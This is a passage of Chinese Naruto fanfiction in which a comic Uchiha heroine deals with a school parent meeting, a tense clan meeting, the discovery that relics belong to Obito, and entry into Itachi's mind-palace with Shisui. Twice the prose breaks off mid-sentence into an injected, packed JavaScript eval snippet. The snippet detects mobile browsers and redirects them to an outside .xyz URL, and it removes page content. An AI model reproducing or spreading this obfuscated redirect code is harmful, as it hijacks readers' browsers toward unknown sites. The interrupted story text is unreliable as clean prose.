我:“……” 我问:“那么工资与福利待遇是——” 总之我的梦想还是成为火影。 而在我以为今天找我来的目的就是为了这个,正松了口气时,班主任突然话锋一转:“但是,一码归一码,存在的问题我也要和你说下。” 她一指排排站的小萝卜头们,脸上各有擦伤,统一一副“我没错下次还敢”的叛逆表情。我直觉不妙,果不其然,下一秒班主任就跟我告状了: “他们一群三身术都还不熟练的小孩子,就敢去找毕业的下忍的麻烦啊!” …… 是下忍首先欺负小樱她们,把小姑娘漂亮的兔子发结踩在地上。佐助和鸣人属于见义勇为,总之最后演变成了团扇派和那群下忍的放学后小树林约架。 大概了解了前因后果的我正有怎么什么都能梅开二度之感时,佐助解答了我关于为什么不去训练场(这样就可以狡辩是切磋不是打架)的疑惑。 他皱了眉,脸上透出单纯的疑惑:“父亲最近心情好像不太好,尤其听到训练场几个字,他都会黑脸……生气?” 不,我觉得这应该是心痛。 此刻大概猜出报销可能是从富岳私房钱里出的我沉默了。 在老师教育完“从犯”(甚至这些还不是全部),只准备留下佐助和鸣人两人而把其他人吆喝回教室时,我低头悄悄问鸣人:“赢了吗?” “……平手!” 佐助冷漠脸:“就是输了。” 毕竟年岁的差距摆在这里,我点点头。而在听到他们可能会参加今年的中忍考试时,我说:“我知道了。我会好好回报他们的。” “小绪姐——” 随即是班主任痛心疾首的声音:“小绪同学——” …… 果然还是在叫家长。 继成为校园黑恶……不是,和平组织头目后,我又在十六岁的年纪里拥有了一个“好大儿”。而我的眼神果然也没错,班主任拉着我就孩子的教育问题絮絮叨叨,“我再讲五点内容。”她说。 可是够讲五十点的时间都过去了啦! 我相当绝望,而在偏头看见佐助同学的家长——“失踪”已久的宇智波鼬认真倾听、不时点头的样子时,我更绝望了。 终于快结束的时候,我和鸣人已经宛如两只霜打的茄子。我两眼无神,鸣人更是呈现吐魂状,与旁边积极配合的宇智波兄弟形成了鲜明对比。 班主任说:“情况就是这么个情况。” 看她有点意犹未尽的样子,我迅速点头:“具体什么情况还得看情况。总之我们明白了谢谢老师!” 离开的时候是和鼬他们一起离开的。 鸣人走在我旁边,满脸“想不到你竟然是这样的佐助”的大受震撼的表情。我顺着看过去,佐助酷哥的面具已经快融化成流淌着的糖浆,被鼬牵着手嘴角疯狂上扬,根本没有余裕端住自己的人设。 我:“……” 你们宇智波兄弟情。 *** 鸣人问我不急着走吗? 我摇摇头。虽然我是趁着午休过来挨骂……不是,开家长会的,原本确实是要赶着去下午的训练啦,“但是反正也迟到了。” 我现在就有一种破罐子破摔的松弛。 而不知是否是我的错觉,我感觉鼬走出来时好像想跟我说什么。毕竟有止水在,我们可能还要……或者说经常在一张桌子上见面,关系好像也不好搞的太僵硬? 完全不能拒绝蹭饭诱惑的我这样想。 听一下好像也不是不可以。 鼬点点头:“我知道哪里有比较安静的地方。” 在这之前要先把鸣人和佐助送回教室。 而现在已经是第一节课的课间休息,走廊上一堆眼睛亮亮的小孩子围聚在一起。在我们出现时,他们好像毫不惊讶,而且还更加热烈地讨论了起来。 还都盯着我。 我:“……?” 在我迷茫的眼神中,几个气氛组穿过人群跑过来。 一个在我左边:“让开让开,小绪大人驾到——”* 一个在我右边:“把路让开,小绪大人驾到——”* 我:“……” 同样被围在中心、此刻想到不好的记忆的鼬:“……”* 而在我们身旁,佐助嫌弃丢人地闭上眼,鸣人则又支楞起来:“都说了声音要大一点啊!” “好的,鸣人大人——” ……这孩子不能要了。 16.“你把他约出来。” 被我施以“泡面泡好吃大神将不会在十日内眷顾你”诅咒的鸣人发出悲戚的惨叫,而在佐助嘲讽的目光中,鸣人果断炸毛,两人以互扯头花的姿势双双步入教室。 是女孩子们纷纷关切的声音:“佐助君,你没事吧!” “小樱,你为什么不关心我——” 鸣人揪着佐助的领子,转过头对其中粉色头发的女孩子问道。春野樱想到刚刚走廊上的闹腾,笑容带上了阴影: “鸣人,不要打架!也不要擅自去做奇怪的事情!” “还只打我??” 拳头敲头的场面顿时让围观的奇异菠萝头发型的男孩露出“女人好可怕”的惊恐脸。在日前一战后,仿佛提前觉醒了什么的春野樱常常让鸣人感到害怕,但他随即又开始自得小樱终于不是只看着佐助了……明明他比佐助那个死装的兄控好得多啊! 想到今天发现的事情,鸣人眼睛弯成两个月牙,但还没开口就被佐助察觉他要说的不是什么好话,此刻恼火地阻止:“喂——” 两人互不相让的对视几乎要擦出激烈的电火花时,被无视的春野樱拳头捏紧再松开,最终一人一边揪住领子,一字一顿:“不要打架,听、到、了、吗?” …… 小朋友之间热烈的情感在教室之中涌动,像一群吵吵嚷嚷又亲密挤作一堆的绒绒小鸭子们。我站在远处的天台,虽然写轮眼加成的只是视力,但我此刻仿佛能幻听到推门进入班级的班主任发出的尖锐爆鸣。 我:“……” 鼬的脸上留有笑意的残影。因为能力和想法的差别,他很难和同龄人平等的交谈,作为弟弟的佐助好像也是这样。但现在佐助也有了自己的朋友,而这样的契机…… 我正拿出今天的午饭便当准备吃——再不吃就要吃晚饭了。拆包装的时候,我注意到了鼬看过来的视线。我思考了一下:“吃吗?” 拎着的时候就觉得是我一个人吃不完的分量,浪费食物实在是一种不好的行为,所以想邀请老师分享,可惜被拒绝了。而关于鼬的宫殿,止水眼看着是指望不上了,那就只能靠我来努力。 现在得打好关系,套出情报。于是我这么说。 只是现在一看,不仅是外面的包布、连便当盒上都有着上红下白的团扇家徽……“所以今天是止水做的啊。”我说。 这句话引起了鼬的注意,他的眼睛明显瞪大了一些:“止水?便当?” “忍者好像都会这些呢。”我点点头,同时非常自然地就把自己刨除在忍者这个界限之外。 自从出村任务以及之后的聚餐、包括毒蘑菇事件接连把我的队友吓晕(?)之后,所有任务中需要自己做饭的场合,我都不被允许靠近锅的三步范围之内。前段日子起,在止水班一起训练、椿某天中午给我带了便当之后,我就开始连自己家的锅都不能靠近了……虽然我也从来没有靠近过、全靠外带就是了。 此刻我拆开盖子,正递出去一点,又收回来:“啊,忘了。” “宇智波都爱吃甜的。” 拿出的那串丸子被我叼回进嘴里,我的声音含糊了一点。 鼬:“……” 我抬头就看见那双黑漆漆的眼睛盯着我。我沉默一下,缓缓打出一个问号:“可是这个是我要的咸口定制版……吃吗?” 应该是吃的意思吧。我正递出去,举在手里的就只剩下一根竹签。一只看起来挺眼熟的乌鸦张开翅膀、相当嚣张地落在栏杆上: “呱——” 它仰头咽下丸子,挑衅地看着我。 我:“……” 鼬:“……” *** 结果是我被瞪了。 ……为什么! 这份疑惑一直持续到晚上开会的时候。路上我表情凝重地问止水:“所以男孩子也会有吗?” 他走在我身旁:“什么?” “每个月情绪不稳定的几天。” 止水:“……” 族内会不定期召集中忍以上的宇智波开会,几天前我也接到了通知。本以为只是侵占我休息时间的普通歹毒,没想到今天鼬把我喊上天台,竟是为了提醒我小心。 至于小心什么,他走得很快,我没来得及问——会玩鸟了不起吗!我愤愤不平,扯住止水:“教教我,止水老师。” 拜托,会玩鸟就真的很酷诶! 止水:“……” 止水按住肩膀上抓狂地啄他的乌鸦,沉默半天,他开口纠正我这不是玩鸟:“是通灵术啊!” “好哦。” 而达成目的之后,我说回正事:“在天台的时候,我也稍微打听了一下鼬的少男心事。” 止水又露出“……”的表情,最终他放弃修正我的措辞,而是问:“打听出了什么吗?” 之前富岳的意思就是让我关注青少年心理状态,替他挽回一下青春期开始后就对老父亲爱搭不理的鼬。当时觉得离谱,没想到形势一转后反而成了套话的天然借口。 ……然后就被问了一堆器量啊选择啊战争与和平啊这样的哲学问题。 我总结:“中二病真是可怕。” 止水无情揭穿我:“这不就是什么都没问出来吗?” 大大两个失败的大字砸到我们头上,我和止水面面相觑。 “事到如今只剩下一个办法了。” “什么?” “你把他约出来,我套他麻袋。” “……你冷静一点!” *** 开会的地点在南贺神社,也是宇智波一族的祖庙,地处南贺川河下游。我们到的时候因为已经临近开始,已经有不少人聚集在房间内。 刚刚话题的中心、八字纹的秀美少年面色平淡,他的身前是小弟环绕、一副标准反派嘴脸的高大宇智波。记忆全无的我并不知道这位正是原主那个未婚夫,此刻还没走近,就听到他们围着鼬,语气相当猖狂: “怎么今天不和你止水哥在一起啊,是被抛弃了吗?有了宇智波绪,你在他那里也没什么地位了嘛。” 提到我的名字时,为首的那个显然咬牙切齿起来,几个小弟也在旁边应和着……这是什么样嘲讽对方被小团体排挤的高中女生语气啊! 我大受震撼,没有注意到此刻止水皱眉而显露冷淡形容的表情。而在他们回头、显然准备将矛头调转向我时,“打扰一下。”我说,“我有件很在意的事情。” 我上前一步,略过旁边惊讶而略微瞪大眼的鼬,凑近以学术研究级别的严谨发问:“为什么要把手搭在领口?” “这样不勒脖子吗?” “还有,你的手指上好像沾上了脏东西。”我把手挡在嘴边,是说悄悄话的姿态,“是没洗干净吗?快去洗一下吧,即使是忍者也要知道病从口入的道理啊。” 虽然是悄悄话,但以忍者的听力,显然大家都听到了。他身边的两个跟班反应非常激烈: “这可是时尚啊!你懂什么!” “你是在嘲弄我们吗!” 在看原作时就有这份疑惑的我感到惊讶:“是时尚吗?指甲也是自己特意染成这样的吗?诶——” 我恍然大悟地看向旁边始终安静的鼬。 鼬:“……” 他总感觉自己也被攻击到了,但他既没有把手搭在过领口,也没有涂指甲油的爱好……所以为什么会有这种感觉?而跟班中一人已经伸出手:“够了,不要问这个了!你没看到——” 我闻言抬起头,就看到面前的宇智波脸红了。他看着我,原先气势汹汹的样子陡然转成一种可以说是扭捏的姿态:“没……没什么,我只是透透气,领口太紧了……不知不觉就变成这样了。” 在跟班宇智波“怎么还害羞起来了我们面子都丢光了啊”的土拨鼠(?)叫声之中,同样感到丢脸的长老出声怒斥:“够了,你们在闹什么!” 后面走进来的富岳也打起圆场:“好了,会议可以开始了。” 人群散开,掌握鼬中二病又一力证的我正想回去分享这个发现,后排角落处,止水虽然没说话,但他不断抖动的肩膀还是暴露了一切。保持着低头颤抖的姿势,止水给我竖起了大拇指,我:“?” 鼬坐到他的另一侧,表情看起来相当复杂。 又被瞪了的我:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596855|148724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ??” …… 总之宇智波内部第x次会议就在这样的气氛中召开。 长老和富岳先后在上面慷慨陈词,大意就是村子对待宇智波不公、宇智波的未来要掌握在自己手里、不懂宇智波的村子高层有难了(?) “宇智波理应以家族利益为重,”在场之人都知道长老说的是谁,“万花筒有如此威能,我们凭什么屈居于村子之下?” 须佐的威能足以让任何亲眼目睹的人感到颤栗,如今这份力量属于宇智波,被搅动的野心回荡在室内,这样始终不变的走向让鼬无言地皱起了眉。 唯独在期限上,以长老为代表的激进派与以富岳为代表的保守派有明显的分歧。 正如表现的那样,激进派要求现在就对不知好歹的木叶使用炎拳……不是,使用须佐,真理只在须佐射程之内。而保守派则认为现在族内有两双万花筒作为震慑,更应该徐徐图之,慢慢从村子那边撕咬利益。 顺带一提,因为有之前被抓住把柄的暗部和止水汇报的根部刺杀、流失在外的宇智波遗骨(?)事件,富岳最近在高层会议上和团藏接连对喷,基本没输过,连带着在族内腰杆子都硬上不少。 “时机已到,还在等什么!” “此事容后再议。” 万花筒威力强大,副作用也同样强大,这些都在族内有着明文记载。长老能将我和止水视作工具,已经悔改的富岳却不能,尤其现在形势明显有向好的趋势。 他表现的强硬,参加会议的宇智波们窃窃私语了一阵,大部分也还是选择跟随族长的选择。 但长老显然没有放弃。 一事不成,他换了一个角度:宇智波绪不能与宇智波止水走的太近,宇智波鼬的暧昧立场已经是典型的反面例子。 长老丝毫不给富岳面子,讲的口沫横飞,痛心的仿佛下一秒宇智波就要因此而亡。富岳脸都黑了,止水的注意力却不在这上面。 他僵硬地保持腰背挺直的姿势,肩头并不沉重,流丽而末端卷翘的黑发有几缕勾缠到他放在膝上的手背……我不出意料地在开会时候睡着了。 “……醒醒,绪。” “小绪。” …… “宇智波绪!” ——更不出意料地被抓到了。 已经做出过拯救我尝试的止水无声地叹气,而一睁眼就看见长老狂怒表情的我:“……” 我坐直身体,谨慎地伸手摸过嘴角:“有什么事吗?” “你在听吗?”属实是媚眼抛给瞎子看的长老决心找回场子,看见我点头后他冷笑:“刚刚说了什么,你重复一遍。” “……真的要吗?”我露出这不好吧的表情,但在长老的强烈要求中,我只好一字不差地把富岳阴阳他的话重复了一遍。 长老:“……” 他暴怒:“我让你重复的是我说的话!” 在他说话时货真价实睡着的我露出不好意思的表情,而今天格外和颜悦色的富岳主动开口拯救了我。 他说的是关于不知名宇智波前辈的遗物:“埋骨于外的宇智波,死后也该被迎回族地长眠……如果是为任务牺牲,村内的慰灵碑也该有他一席之地。” 提到这件事,即使是长老也不好再继续发泄他的怒火。 我以为是之前我给不知名宇智波前辈争取的河景碑要兑现了,此刻看富岳顿时如看许愿池里的王八(?),我眼睛一亮:“所以族地里的那块墓地——” 富岳摇了摇头,但不是拒绝,而是因为他已经调查出了那些遗物的主人。虽然当年的调查结果并没有包含山洞的存在,但无论如何,牺牲于任务之中的忍者本身就是被族中与木叶承认的英雄。 如果真的是牺牲了的话。 在我逐渐惊恐的表情之中,富岳讲述了一个三战期间火影弟子、队友情深、前途海量却半路夭折的悲情故事。 富岳:“我已查明,这些正是宇智波带土的遗物。” 我:“……” 我:“……” 我:“……” 谁??? 宇智波带土??? 17.“骗骗感情也就算了。” 这一瞬间我理解了一切。 包括但不限于神无毗桥这个名字为什么会有点耳熟、捡到的黄色碎片到底是什么,地下垃圾场的建立又是为哪般……以及最重要的一点,那个胆大包天、暗中在对宇智波们下毒手的人的真实身份。 我:“……” 他爹的真是被宇智波渣男欺骗到感情了。 意识到真相后我不可思议地瞪大了眼,而关于带土,富岳说: “当年神无毗桥之战相当惨烈,除了留在卡卡西那里的一只写轮眼,带土牺牲时尸骨被毁,族内只能为他设立衣冠冢。没想到这么多年过去了,还能再听到他的消息。” 有没有一种可能,就是他不是尸骨被毁,他是根本没死。 但因为没有证据,并且带土现在估计还在监视木叶,这种敌暗我明的情况下,我只能强行按下剧透的冲动。与此同时,我关注到了华点:“所以,村子那边也?” 明面上带土还是牺牲在任务中的木叶的英雄,对于我的问题,富岳自然是点头。 我:“……” 也就是说不仅族地里有一块碑,木叶那边也给树了一块碑,再算上我炸掉的以及现在作为弥补的河景碑(甚至我原本的打算是调查出结果后就去申请村子那边的慰灵碑)……太贪心了,宇智波带土。 骗骗感情也就算了,居然还骗我的钱。 一想到我把趁火打劫……趁人之危……总之就是向族长大人许愿的机会浪费在修墓,尤其墓主还是这时候不知道在哪活蹦乱跳等着暗算宇智波全族的带土身上,我就感到相当的痛心。 而且没道理别人都是一人一碑,带土一人四碑。我说:“这实在有占用公共资源之嫌。” 富岳没想到我竟然有这样的觉悟。他吃惊地看着我,问我:“那么你是要?” 我坚定道:“当然是留给有需要的人!” *** 南贺川沿岸风景秀丽,鸟语花香,实乃投资理财、死后长眠的不二之选。 对于我的推销,出身日向的椿表示他家应该没人愿意死后埋进宇智波族地,信思考后表示可惜:“我家里没人了。” 我同样可惜:“我家里也没人了。” 而当压力来到止水身上时,他沉默一下:“我家里也……不对,为什么要讨论这个啊!” “因为不能浪费啊!” 我大声哔哔。 在族里开会之后,发现宇智波带土“遗物”的山洞被定性为团藏的阴谋。之所以看起来这么草率,正是因为对现在的宇智波来说,山洞损毁严重,在我的土遁之后更是坍塌的严严实实,真正缔造者难以追查也暂时没有追查的紧迫性与必要性。 在族内高层的眼中,本就偏向弱势的宇智波一方更需要的是提升内部凝聚力,而树立一个共同的敌人就是一个很好的手段。恰逢其时的,在发现山洞的这个时间段内,发生了团藏派出根部刺杀我、意图夺取写轮眼的事件。 当时我灵机一动,趁机把团藏的那份报销拿出来过了明路:“我就当作精神损失费勉为其难收下了。” 富岳:“……” 总之,在一众宇智波“团藏果然对我们图谋不轨”“这不是显而易见的吗”“相信团藏有风评的才是傻子吧”“说什么呢宇智波怎么会有这种傻子”的议论声中,高层达成了目的,我收获了双倍报销,双方皆大欢喜,于是表面上只有团藏受伤的世界就这样达成了。 而带土的“遗物”本身,则被富岳嘱托给作为第一发现人的我们,让我们放进他的衣冠冢里。顺带一提,不知道出于什么心理,富岳不仅没有收回河景碑,还向我表明了族里财大气粗,想要多少碑都可以有(?) 但我果然还是没有销售的天赋。 推销失败的我只好把这件事按下不提,继续投入训练和鼬的宫殿探索。训练一如既往的不讲劳动法也就算了,宫殿探索更是毫无情绪价值。 在又双叒叕被关在宫殿门外之后,我怒而怀疑是鼬开挂了,强烈要求实行我的套麻袋计划以审查游戏公平性。说起来最近鼬在我面前出现的频率不知为何大大上升,我痛心疾首:“为什么他就可以不训练?” 止水:“你不好好训练怎么去套他麻袋?” 我:“……” 好有道理我竟无法反驳。 又这么毫不遵守劳动法的过了几日,不知道是从哪里听到风声的卡卡西找了过来。 梅开二度被堵在路上的我:“?” 有一种没有隐私的感觉是我的错觉吗? 那双标志性的死鱼眼轻飘飘地瞥过来一眼,随即他眼神一凝,卡卡西声线颤抖了起来:“你手里的难道是……” 我合上手里的书,低头看了看书的封皮。“很遗憾,”我说,“这是《亲煦暴力》啦。” 因为《亲热天堂》作者自来也太过鸽子而产生的民间续作,被书店老板以买三送一的清库存方式推销给了我。 卡卡西立即冷静了下来。对于这种明目张胆的擦边行为,他感到相当痛心。而现代哪个成年废宅没有博览过官能小说,我公允地评价了一下这本书名蹭热度封面更是蹭热度的小说:“内容倒是还不错。” 我分别用一二三四五点阐述了内容不错在哪里,卡卡西听完后立即表示了解了解、佩服佩服,能否借他一观。我相当爽快地一点头,并且因为黄友之间的惺惺相惜(?),我又推荐了几本我觉得还不错的给他。 卡卡西用一种人不可貌相的眼神盯着我看了会,他有些恋恋不舍地合上书,终于说明了来意,正是为了宇智波带土。 “可以让我看一下他的……”遗物两个字始终无法说出口,而在亲眼看到封印着旧日队友物品的卷轴之后,白发的冷面酷哥都不免露出怔然的表情。 宇智波大渣男四处欺骗人感情。在卡卡西开口请求我能否将卷轴交给他时,我甚至已经想好了要在给带土的预告信上写什么。 卡卡西:“就算不能直接给我……那也请埋葬在村子里的慰灵碑吧。” “你知道的,宇智波族地并不欢迎外人。” 这么说着的卡卡西朝我展示了一下他的写轮眼,他苦笑:“我尤其不受欢迎呢。” 我:“……” 邪恶的宇智波渣男一定会被我绳之以法。如果是别人说不定能看出卡卡西装的成分很大,但我只是在内心暗暗发誓。而在答应的同时,我突然福至心灵,我问卡卡西:“考虑一下吗?” “环境优美、位置便利,”在他困惑看过来的眼神中,我说,“从此宇智波将带给你宾至如归的感受。现在只要这个数。” 我竖起一根手指。当然,我说的是人数。 卡卡西:“……” *** 很遗憾,卡卡西家里也没人了。但作为感谢,他答应可以在能力范围内回答我一个问题。 听他说他对鼬也有一定了解,于是我问:“鼬喜欢什么颜色的麻袋?” 卡卡西:“?” 超纲了,下个问题。我思考了一下,决定让卡卡西描述一下他眼中的鼬。 …… “作为宇智波的一员,却跳出了狭隘的家族主义,能够以大局为重。”晚上在富岳宅附近的巷子中,我看着黑夜里燃起明亮灯火的宅邸,大致复述了一遍卡卡西的话,“佷有实力,也很有自己的思考。” 眼看距离中忍考试只剩下一周的时间,即使是我也终于有了火烧眉毛的感觉。而把止水叫来,除了宫殿门口讨论说不定可以瞎猫碰上死耗子之外,我也是打算借机传递一下关于带土的情报……绝对不是为了逃避训练! 止水的表情从听到我遇到了卡卡西开始就不太好,在他明显笑里藏刀起来、开口拷问我早上迟到半天所迷失的人生道路到底是哪一条之前,我立即紧跟上一句,“但是!”我说但是,“从朋友的角度来看,他认为鼬这样的性格并不好。” 我回忆了一下卡卡西当时的原话:“想得太多太深,又是不愿意对人多言的性格,这个年纪很容易剑走偏锋。” 止水:“……” 他并没能替鼬反驳,毕竟有宫殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14739777|148724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在此,简直是用事实证明鼬已经剑走偏锋了。甚至卡卡西的评价与止水当初的不谋而合。 止水也觉得鼬有时候太过内敛,愿意开口吐露心声的对象似乎只有他,“但我之前也不是一直在木叶。”在定下攻略鼬宫殿的目标时,我和止水就召开了第一届宇智波青少年心理研讨大会。当时他在饭桌上这么说,“有很多任务必须要上忍完成,木叶的人手并没有那么宽裕。” 考虑到青少年的心理问题通常都与幼年期的家庭环境有关,关于鼬的童年,止水翻找了一遍记忆,光是他知道的就有鼬在四岁的时候被富岳带上过战场,以及因为队友的牺牲,鼬八岁就开启了写轮眼。 我当时就震惊了,什么脑回路,带走路都走不稳的幼子上战场。“四岁的忍者已经会挥刀了哦。”止水纠正我的错误认知。 “……童工?” 没想到这个世界竟然无法无天到这个地步,果然是我这种生活在和平时代的现代人难以想象的黑暗与扭曲。 我想起富岳最初时的资本家嘴脸,以及集会上满溢的狂热情感。自小浸透在这种吃人的资本主义黑暗(?)之中的宇智波鼬,又会将富岳宅视作什么? 此刻,止水看向宅邸的方向,今天没有门神镇守,在我们的位置,隐约能听到从庭院里传来的笑声。他同样露出一个微笑,问我:“所以你是对那个问题的答案有头绪了吗?” 我严谨地比划了一下:“有了一点点。” 对开启宫殿的第三个问题,我依旧坚持着我最初的想法:“是束缚他的牢笼。” 止水偏过头,并没有因为毫无变化的现实而急于否定我。他看向我,是聆听的姿态。 年纪导致的阅历不足天然限制了看待世界的角度与深度。我接着说:“看鼬不能用看成年人的标准,更不能用看哲学家的标准。你要用真正看十三岁少年的眼光看他。” “你就会发现,他正是中二病的好年纪。” 止水:“……” 什么叫返璞归真,什么叫透过现象看本质。将宇智波鼬这种我苦手的哲学类型拉入我擅长的领域,我突然就理解了一切呢! 我自信分析:“父亲在外是压榨童工的封建大家长,在家更是喋喋不休抱怨职场黑暗,母亲温柔但沉默、弟弟天真而懵懂……好了,现在你是一个中二病,每天生活在这样的家中,你有什么想法?” “……我可是已经过了这个年纪了。” “那你回忆一下青春。” 止水:“……” 在一阵诡异沉默之后,他放低了姿态:“请小绪老师指点。” 在回答他之前,我让他双手握拳交叉在胸前。“这是回忆青春的仪式啦。”一想到接下来我要干什么我就想笑,但现在我一本正经,我说,“后撤步,对,往后一点。” 我同样一个后撤步,在让他复制我接下来的动作后,我震声:“爆裂吧现实,粉碎吧精神,Banishiment this world!”* 止水:“…………………………………………” 师徒情谊的小船说翻就翻。 合体解除之后,我摸着被敲的头顶,想了想还是忍不住问他:“有回忆起青春吗?” 可能忍者们的青春就是这么寡淡无味吧,我遗憾的接受了这个现实。而鼬大概也没有真的要让地球爆炸的想法,但奉行宇智波至上主义的家庭势必与他规避纷争、追求和平的梦想相左,对他来说,用【牢笼】两个字概括应该并不偏离。 而答案不偏离却无法进入宫殿的原因……我有一种仿佛在为我的一生之敌说话的不情不愿: “是因为他的出发点并不是我们以为的【厌憎】吧。” 这种所谓宇智波力量的来源。我说:“他想要的和平的未来,也一定包括一个更明亮的宇智波吧。” 所以与其说是厌憎—— 以富岳宅为中心的空间逐渐扭曲晦暗,水波纹一圈圈荡开。伴随着宫殿的出现,我的结论同时落下: “原来是【守护】。” 18.“心理已经很变态了。” “这就是你说的只有三个问题吗?” 开启万花筒的止水同样看清了眼前的异变,在将我护在身后警戒四周的同时,他语气幽幽地问我,显然是发现了成功开门的决定性因素在哪里: 宫殿反映的是内心的偏执信念,现实中的建筑物仅是载体,阻拦我们至今的原因竟然是在第三个问题的基础上,还需要找出宫殿主人内心被扭曲的信念的最初模样。 也是今天第一次知道的我沉默一下,我说:“也没人告诉我啊!退一万步说,三个问题其实有四个不是一件很正常的事情吗!” “你这退的未免也太远了吧!” 止水相当不留情面地猛烈吐槽我。他最近找鼬谈心的次数不断上升,已然成为宇智波问题青少年的一款人生导师——但就算做到这种地步,宫殿还是紧闭大门,理所当然的给他带来了极大的挫败。 结果现在发现不是心理辅导不到位,是我这边一开始就拉了胯……我多少有些心虚:“出去请你吃饭?” “我付钱吗?” “怎么会,我可是发誓要好好赡养你的啊。” 完全没想到我会这么回答他,止水脸上本已聚起的促狭笑意逐渐消失。他一副很伤脑筋的样子:“这件事你居然还没忘啊?” “发过的誓当然要好好记得,不然是要吞千针的。” “……那能把措辞改一下吗?拜托了,请一定要改掉。” 虽然不觉得有什么大问题啦,但看在止水这么求我的份上,我思考了一下,我说:“我发誓要花钱养你?” “听起来更奇怪了啊!” *** 最终止水让我不用改了:“就当作我什么也没说吧。” 男人还真是善变啊。在我谴责的眼神之中,他相当刻意地转移话题,止水说:“这就是宫殿吗?感觉和现实没有什么区别啊。” 在四周景象稳定下来后,我们依旧身处在小巷之中,我的视线从突然消失的墙面标语处移开,而如止水所言,不远处的宅邸悬挂着富岳宅的牌子,从外观来看确实与现实毫无区别:既没有游荡的暗影,也没有一股强劲的音乐响起。 如果不是黑夜一瞬转为白天,我甚至要开始怀疑宫殿其实并没有开门,这只是我007多日猝死前的最后幻想。 “总之先四处看看吧。” 谨慎起见,我们决定先绕着周边走一圈。 这附近是宇智波族地的中心地带,房子修建的非常密集,虽然比不上村子中心的繁华,却也一向是人声熙攘。 而在此刻,不仅街道上毫无人气,建筑物也仿佛罩上一层阴暗的滤镜。天空密布乌云,像是终于囤积不住水气,雨淅淅沥沥地下了起来。 潮湿的雾弥漫开,街道越发显得冷清而寂寞。在发现雨水会侵蚀查克拉之后,我们不得不就近找了个屋檐避雨。 止水问我:“你有发现什么吗?” 在更多的与写轮眼融合之后,游戏原作的设定显然已经没有了多少参考性。除了色调晦暗了点、气氛阴间了点,待久了感觉身体被掏空之外,这里构造与现实完全相同,一时半会也看不出有什么太大的问题。 因此我摇了摇头。被雨水沾湿的头发被我拢在手中,正初步形成了一个丸子头……或者是别的什么的雏形。止水像是终于看不下去了,他按着我的肩让我背过身去。 “诶,你还会扎头发吗?” “应该比你好一点吧。” 和我比的话那确实无法反驳。我好不容易解放双手,又被止水塞了张手帕,“唔,这个香味。”我下意识闻了闻,“村子里的那家香店吗?” “……好像是。”粗糙的指腹无意间擦过我的脖颈,我被痒的一激灵,止水动作一顿,半天他回过神,“这就是你的手帕啊。” 我背对他,并没有注意他在对话中短暂的游离,很想说怎么可能,我根本懒得洗。但想到我为什么会对这个香味有印象……我回忆了一下,我恍然大悟:“想起来了。” 忍校的小孩子们为了加入团扇派而疯狂卷学习,在不知内情的家长眼里简直是太阳打西边出来的奇景。不知道班主任是怎么说的,反正后来陆陆续续有人给我送东西…… 收当然是没收啦,这点职业道德(?)我还是有的。至于手帕,我说:“不是我的啦,是漂亮姐姐送的。” 没办法,灰头土脸是忍者的宿命。 然后我说:“好痛。” “不要乱动啊。” 他抵着我的脸颊让我好好看着前面,语气听起来有些无奈。捋顺被我突然的转头扯乱的头发之后,止水动作放温柔了许多。 “所以说为什么会在你这里?” “自己做的事这么快就忘了吗?你把我的乌鸦包成一团拿去给小孩子过家家。” 我:“……” 这我还真有印象,竟然还洗干净了重新熏香还给我吗?我沉默一下,我说:“可是她们就是不要狼外婆要乌鸦外婆啊?” “要狼外婆你就真去给她们抓野狼吗?” 这倒也不会。止水笑了一声,用最后一击宣告了今日的胜利:“当时你迟到半天,理由也是说你迷失在人生的道路上了吧?” 我:“……” 他松开手,我摸了摸脑后,是最简单的低马尾。于是在止水质疑我之前,我率先开口指责他:“你刚刚是在趁机摸我头吧。” 止水可疑的沉默了。 我见好就收,甚至为了以后他不翻旧账,我真诚夸他说:“好贤惠,止水。” “……你这个措辞方式到底是和谁学的啊!” *** 雨完全没有要停的意思。 水气扑在脸上的感觉真实的不可思议。仔细一看,蒙蒙细雨下的街道简直就像是我灰暗的前途。 我露出伤感的表情:“没想到以后在被上司压榨之余,我还要抽空钻研变态心理学。” 止水:“……你对鼬的意见真的很大啊。” “指责我就可以把前面那句忽略了吗?”我对这个没有劳动法的世界绝望了。紧接着我就用行动证明了我不仅对鼬的意见很大,我对带土的意见也很大。 想起还有带土的消息没告诉止水的我问他:“你愿意相信我吗?” “哪方面?” “……这种时候难道不是该立刻回答我相信你吗!” “指责别人的时候倒是想想自己之前做了什么啊!” 我立即冷静了下来。我说:“现在有一件事,细节不能说,我怎么知道的暂时也不能说,但这件事很重要。你要听一下吗?” 前者是因为我确实忘了,后者是因为我很难解释。而止水的表情也严肃起来:“请说。” 心灵世界不用担心被监视的暗部窃听。我张了张嘴,正要直接说出那个名字,以及今后大致的走向,但并没能有任何声音传出,仿佛是有一股无形的力量在阻拦我。 我:“……” 我不敢置信地又尝试了一遍:“……” 面面相觑的同时,止水缓缓打出一个问号。在发现剧透就是会被强行闭麦之后,我的表情凝重起来:什么情况,游戏的公平性审查竟然在我这吗! “这不是止水大人吗?” 正在此时,我们身后的推门被拉开。没想到暗影会从这个刁钻角度冒出来,我一回头,正对上一张带着白色面具、仅露出一双黑洞洞眼睛的“脸”。 